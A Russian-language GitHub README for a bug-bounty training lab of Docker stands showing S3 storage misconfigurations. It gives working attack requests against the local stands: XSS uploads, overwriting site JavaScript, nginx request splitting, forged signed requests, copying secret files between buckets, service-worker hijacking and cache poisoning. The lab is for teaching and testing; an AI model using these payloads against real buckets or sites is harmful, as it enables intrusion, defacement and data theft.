Skip to content

Repository files navigation

Разбор

Начинаем в багбаунти: S3 misconfigs - https://www.youtube.com/watch?v=SwEpvGKsidc

Запуск стендов

Нужны Docker и Docker Compose. Каждый стенд — отдельная папка с docker-compose.yml.

Папка Порт Описание
1_insecure_bucket 8000 Публичный бакет MinIO
2_signed_link 8010 (+ MinIO 9010) Подписанные ссылки
3_yos_bucket_0 8020 YOS, virtual-hosted-style
4_yos_bucket_1 8030 YOS, path-style без / в location
5_yos_bucket_2 8040 YOS, HTTP Request Splitting
6_insecure_bucket_2 8050 Ceph, ненормализованные пути
7_insecure_bucket_3 8060 Ceph, обход rewrite
8_signed_request 8070 Django DEBUG + подписанные запросы
9_isolated_domain 8080 Изолированный домен
10_cache_misconfig 8090 Кэш nginx без query-параметров

Запуск стенда

cd stands/1_insecure_bucket
docker compose up -d

Чистая пересборка

Сбрасывает volumes и пересоздаёт данные в бакетах:

cd stands/1_insecure_bucket
docker compose down -v
docker compose build --no-cache
docker compose up -d

hosts

Для некоторых стендов может понадобится прописать в hosts (или в Burp Suite > Network > DNS > Hostname resolution overrides):

127.0.0.1 user-content.localhost
127.0.0.1 isolated-domain-app.localhost isolated-domain-storage.localhost

insecure_bucket

В данном стенде демонстрируются самые простые ошибки конфигурации S3 бакетов, когда произвольному пользователю без авторизации разрешаются действия ListBucket, GetBucketLocation, GetObject, PutObject.

  • Раскрытие ошибок от S3, раскрытие имени бакета в ошибке.
http://localhost:8000/static/xxx
  • Доступ к листингу объектов в бакете. Необходимо смотреть на параметры IsTruncated, Marker, ContinuationToken и помнить, что по умолчанию отображается только 1000 объектов.
  • Стандартный листинг и просмотр следующих объектов после объекта в параметре "marker"
http://localhost:8000/static/
http://localhost:8000/static/?marker=0_somestatic_999
  • ListObjectsV2, который чуть более читаемый, и пример обращения к следующей странице
http://localhost:8000/static/?list-type=2
http://localhost:8000/static/?list-type=2&continuation-token=MF9zb21lc3RhdGljXzk5OVttaW5pb19jYWNoZTp2MixyZXR1cm46XQ==
  • Доступ к записи объектов через PUT
PUT /static/xss.html HTTP/1.1
Host: localhost:8000
Connection: close
Content-Type: text/html

<script>alert(document.domain)</script>
  • XSS через загруженный файл
http://localhost:8000/static/xss.html
  • PutObject позволяет переписывать существующие объекты
PUT /static/app.js HTTP/1.1
Host: localhost:8000
Connection: close
Content-Type: text/javascript

alert(document.domain)
  • XSS для всех через JS, подключенный на главной странице
http://localhost:8000/

signed_link

В данном стенде демонстрируется, как функциональность скачивания объектов через генерацию подписанных ссылок может привести к формированию запроса на листинг бакета.

  • Обычное скачивание объекта
http://localhost:8010/download?path=images%2Fcat3.webp
  • Перенаправляется на подписанную ссылку. Можно отметить, что в подписанных ссылках раскрывается AccessKey, что иногда бывает полезно.
http://user-content.localhost:9010/static/images/cat3.webp?AWSAccessKeyId=minioadmin&Expires=1780985686&Signature=CKzXzSVOQXHmXCdhdKTdaFD236Q%3D
  • Генерация ссылки на корень бакета
http://localhost:8010/download?path=
http://localhost:8010/download?path=/
  • Которая дает возможность получить листинг объектов
http://user-content.localhost:9010/static/?AWSAccessKeyId=minioadmin&Expires=1780985862&Signature=%2BuZb2N1SnrovoZrw10gGbXMNRb0%3D

yos_bucket_0

В данном стенде демонстрируется возможность раскрытия имени бакета через вызов ошибок и как знание нотации названий бакетов может помочь найти больше существующих бакетов, которые могут быть некорректно настроены. Запросы проксируются во внешнее хранилище Yandex Object Storage, имя бакета в запросе установлено как virtual-hosted–style.

  • Часто 404 ошибки от S3 системы подменяются на кастомные, что не дает нам раскрыть информацию
http://localhost:8020/static/images/xxx
  • Это можно обойти, сформировав ошибку с другим HTTP кодом, например PUT без Content-Length - это код 411, который вряд ли будет подменяться
PUT /static/images/cat2.webp HTTP/1.1
Host: localhost:8020
  • Но так как это Yandex Object Storage и бакет передается в заголовке Host, даже через такую ошибку мы не раскроем название бакета
  • Поэтому можно вызвать ошибку SignatureDoesNotMatch (Ctrl+<Номер_учетки>) в расширении. Обычно для вызова данной ошибки нужно обязательно использовать существующий AccessKey, но в случае с Yandex Object Storage подходит любой.
# v2
http://localhost:8020/static/images/cat2.webp?AWSAccessKeyId=admin&Signature=x&Expires=1782904338

# v4
http://localhost:8020/static/images/cat2.webp?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=admin%2F20260609%2Fru-msk%2Fs3%2Faws4_request&X-Amz-Date=20260609T062850Z&X-Amz-Expires=360000&X-Amz-SignedHeaders=host&X-Amz-Signature=1111111111111111111111111111111111111111111111111111111111111111
  • Получив имя бакета, можно обратиться к нему через общий S3 эндпоинт
# Path-Style
GET /s3-podcast-static-prod/images/xxx HTTP/1.1
Host: storage.yandexcloud.net
# Virtual-host-style
GET /images/xxx HTTP/1.1
Host: s3-podcast-static-prod.storage.yandexcloud.net
  • Раскрыв нотацию имен бакетов в большой компании можно на основе нее сделать перебор и найти другие существующие бакеты, которые могут быть некорректно настроены, например
GET /<company_name>-<bucket_name>-<environment>/ HTTP/1.1
Host: storage.yandexcloud.net

yos_bucket_1

В данном стенде демонстрируется мисконфиг nginx проксирования, когда отсутствие в конце location правила символа / и использование path-style указания имени бакета приводят к тому, что можно направить проксируемый запрос в другой бакет.

  • Пример мисконфига (отсутствие / в конце правила)
  location /static {
    [...]
    proxy_pass https://storage.yandexcloud.net/s3-podcast-static-prod;
  }
  • Обращение к несуществующему бакету s3-podcast-static-prod-xxx, вместо s3-podcast-static-prod
GET /static-xxx/ HTTP/1.1
Host: localhost:8030
Connection: close
  • Так как система общая, атакующий может зарегистрироваться в Yandex Cloud, создать бакет с таким же префиксом и загрузить в него публично доступный файл
  • В результате файл возвращается в контексте уязвимого сайта и дает возможность эксплуатировать XSS-атаки.
http://localhost:8030/static-attacker/xss.html

yos_bucket_2

В данном стенде демонстрируется мисконфиг nginx проксирования, когда в proxy_pass используется переменная $uri, в которой содержится декодированное значение. Это приводит к возможности эксплуатации атаки на уровне HTTP-протокола - HTTP Request Splitting.

  • Мисконфиг, который приводит к HTTP Request Splitting
  location /static/ {
    [...]
    rewrite ^/static/(.*)$ /$1 break;
    proxy_pass https://storage.yandexcloud.net$uri$is_args$args;
  }
  • Пример получения xss.html из бакета атакующего через перезапись Host заголовка в запросе
GET /static/xss.html%20HTTP/1.1%0aHost:s3-podcast-static-prod-attacker%0a%0a HTTP/1.1
Host: localhost:8040
  • Демонстрация возможности делать PUT запрос в бакет атакующего
PUT /static/PoC%3FAWSAccessKeyId=<ACCESS_KEY>&Signature=<@urlencode><@base64><@hex2ascii><@hmac_sha1('<SECRET_KEY>')><@d_burp_url>PUT%0A%0Atext/html%0A1782904338%0A/s3-podcast-static-prod-attacker/static/PoC</@d_burp_url></@hmac_sha1></@hex2ascii></@base64></@urlencode>&Expires=1782904338%20HTTP/1.1%0AHost:s3-podcast-static-prod-attacker%0AContent-Type:text/html%0AContent-Length:4%0A%0Atest HTTP/1.1
Host: localhost:8040
Content-Length: 0
  • Получение результата
https://s3-podcast-static-prod-attacker.storage.yandexcloud.net/static/PoC
  • Пример кражи фрагмента HTTP запроса пользователя через переиспользование XSS для отправки PUT запроса на запись объекта в бакет атакующего (PoC cookie.html в отдельной папке)
http://localhost:8040/static/cookie.html%20HTTP/1.1%0aHost:s3-podcast-static-prod-attacker%0a%0a

insecure_bucket_2

В данном стенде демонстрируется ситуация, когда frontend и backend могут по-разному обрабатывать Request-Path в запросе пользователя. В качестве S3 системы используется Ceph, так как в MinIO возвращается ошибка при попытке использования ненормализованных путей.

  • Конфигурация выглядит корректно, но когда в proxy_pass не указан путь, то на backend пересылается запрос в таком же виде, как его передал клиент. Если путь указан - то путь в запросе отправляется нормализованный с заменой подстроки из location правила на путь в proxy_pass.
  location /static/ {
    [...]
    proxy_pass http://rgw:8080;
  }
  • Из-за разницы обработки URI в nginx и S3 можно обратиться к другим бакетам. Для nginx это обращение к /static/xxx, для Ceph это обращение к объекту ../static/xxx в бакете xxx.
GET /xxx/%2e%2e/static/xxx HTTP/1.1
Host: localhost:8050
  • Получив возможность обращения к произвольному бакету, запускаем перебор названий
  • В бакете public, который не должен быть доступен снаружи, разрешён PUT
PUT /public/%2e%2e/static/xxx HTTP/1.1
Host: localhost:8050
Content-Type: text/html
Content-Length: 4

<script>alert(document.domain)</script>
  • Для того, чтобы обратиться к загруженному файлу так, чтобы браузер не вырезал при отправке /folder/../ достаточно в этой конструкции добавить URL-кодирование одного из /.
http://localhost:8050/public/..%2fstatic/xxx

insecure_bucket_3

В данном стенде демонстрируется мисконфиг nginx, который позволяет обойти правило rewrite. Если оно используется для подстановки в запрос path-style имени бакета, зачастую это приводит к возможности указать другое имя бакета.

  • Часто подстановка имени бакета указана в виде следующего правила rewrite пути запроса
location /static/ {
 rewrite ^/static/(.*)$ /company-static-prod/$1 break;
 proxy_pass http://ceph-rgw:8080/;
}
  • Но nginx работает в rewrite правиле с URL декодированным значением пути. Если в rewrite регулярном выражении используются якоря начала и конца строки, то наличие переноса строки в проверяемом значении не подходит под регулярку, и правило замены не срабатывает.
  • В данном конфиге это приводит к следующему:
    • Пользователь отправляет следующий запрос /static/foo/xxx%0axxx
    • rewrite правило не срабатывает, так как регулярное выражение не возвращает совпадения из-за символа переноса
    • В proxy_pass правиле в ссылке указан путь /, поэтому в проксируемом запросе подстрока из правила location /static/ заменяется на путь, указанный в proxy_pass /
    • На S3 отправляется путь /foo/xxx%0axxx, где foo воспринимается как переданное имя бакета
  • Пример обращения к бакету foo
http://localhost:8060/static/foo/xxx%0axxx
  • Перебираем бакеты, находим небезопасно настроенный, загружаем XSS
PUT /static/public/xxx%0axxx HTTP/1.1
Host: localhost:8060
Content-Type: text/html
Content-Length: 4

<script>alert(document.domain)</script>
  • Обращаемся к загруженному файлу
http://localhost:8060/static/public/xxx%0axxx

signed_request

В данном стенде, используя дополнительную уязвимость Django в DEBUG режиме, мы получаем учетную запись от S3 системы, развернутой локально.

  • Раскрытие путей в Django-приложении
http://localhost:8070/xxx
  • В случае необработанных исключений Django Debug отображает страницу с ENV переменными и кусками кода. На данной странице есть автоматическое маскирование значений по регулярному выражению имен переменных, но если они заданы как-то нестандартно без указания SECRET, KEY и прочих подстрок - они могут попасть на страницу ошибки без маскирования.
http://localhost:8070/error
  • Переиспользуя существующее проксирование в S3 на пути /static/, получаем возможность залить произвольные файлы с помощью подписанных запросов
PUT /static/xss.html?AWSAccessKeyId=bucketadmin&Signature=<@urlencode><@base64><@hex2ascii><@hmac_sha1('TjfpuBotHy8z9MKX')><@d_burp_url>PUT%0A%0Atext/html%0A2065095603%0Ax-amz-acl:public-read%0A/static/xss.html</@d_burp_url></@hmac_sha1></@hex2ascii></@base64></@urlencode>&Expires=2065095603 HTTP/1.1
Host: localhost:8070
Content-Type: text/html
Content-Length: 25
x-amz-acl: public-read

<script>alert(1)</script>
  • XSS
http://localhost:8070/static/xss.html
  • А также получать файлы из других бакетов - пример получения содержимого secret/secret.txt, используя заголовок X-Amz-Copy-Source
PUT /static/leak?AWSAccessKeyId=bucketadmin&Signature=<@urlencode><@base64><@hex2ascii><@hmac_sha1('TjfpuBotHy8z9MKX')><@d_burp_url>PUT%0A%0Atext/html%0A2065095603%0Ax-amz-acl:public-read%0Ax-amz-copy-source:secret/secret.txt%0A/static/leak</@d_burp_url></@hmac_sha1></@hex2ascii></@base64></@urlencode>&Expires=2065095603 HTTP/1.1
Host: localhost:8070
Content-Type: text/html
Content-Length: 0
X-Amz-Acl: public-read
X-Amz-Copy-Source: secret/secret.txt


  • Получаем содержимое файла secret.txt из бакета secret через загруженный файл
http://localhost:8070/static/leak

isolated_domain

В данном стенде демонстируется, что даже если загружаемые файлы раздаются с изолированного домена без cookie, это все равно может привести к уязвимости.

  • В личном кабинете загружаемые файлы доступны на изолированном домене по секретным ссылкам без дополнительных авторизаций
http://isolated-domain-storage.localhost:8080/private-storage/shared/49b3d51ac95f42fa85877b49a3b87e08
  • Загрузка файлов ограничена только .webp изображениями и отсутствует возможность установки произвольного Content-Type
  • Но в S3 API у метода GetObject есть параметры, которые иногда доступны для использования в неподписанных запросах
http://isolated-domain-storage.localhost:8080/private-storage/shared/49b3d51ac95f42fa85877b49a3b87e08?response-content-type=text/html
  • За счет возможности установки произвольного Content-Type достаточно залить файл с любым расширением, внутри которого XSS payload
  • Так как все объекты располагаются в одной общей папке shared и возможно вернуть любой Content-Type - этого достаточно, чтобы зарегистрировать Service Worker
  • Продемонстрируем работу Service Worker, подменяя все HTTP ответы на поддельное изображение
  • Загружаем JS-код Service Worker с расширением webp (пример в папке pocs)
  • Загружаем HTML-код, который подключает загруженный файл с JS с использованием ?response-content-type=application/javascript (пример в папке pocs)
  • В результате, при открытии HTML-файла в браузере жертвы будет запущен Service Worker, который подменяет ответ на любой HTTP запрос в папку /private-storage/shared/ на поддельное изображение

cache_misconfig

В данном стенде HTTP ответы от S3 кэшируются на nginx, но ключ для кэша указан без query-параметров.

  • Nginx кэширует любые ответы с кодом 200
  • S3 API позволяет в GET запросах на объекты через query-параметры вызывать различные методы, например метод получения ACL объекта через добавление параметра ?acl, либо же опять можно использовать response-content-type для того, чтобы закэшировать ответ с некорректным Content-Type
  • Пример кэширования index.html с другим ответом или Content-Type, что заблокирует доступ к сайту для других клиентов на время жизни кэша
# Если разрешен GetObjectAcl
http://localhost:8090/index.html?acl
# Если разрешены response-* параметры для неподписанных запросов
http://localhost:8090/index.html?response-content-type=image/png

About

Stands demonstrating typical S3-related configuration errors.

Resources

Stars

6 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages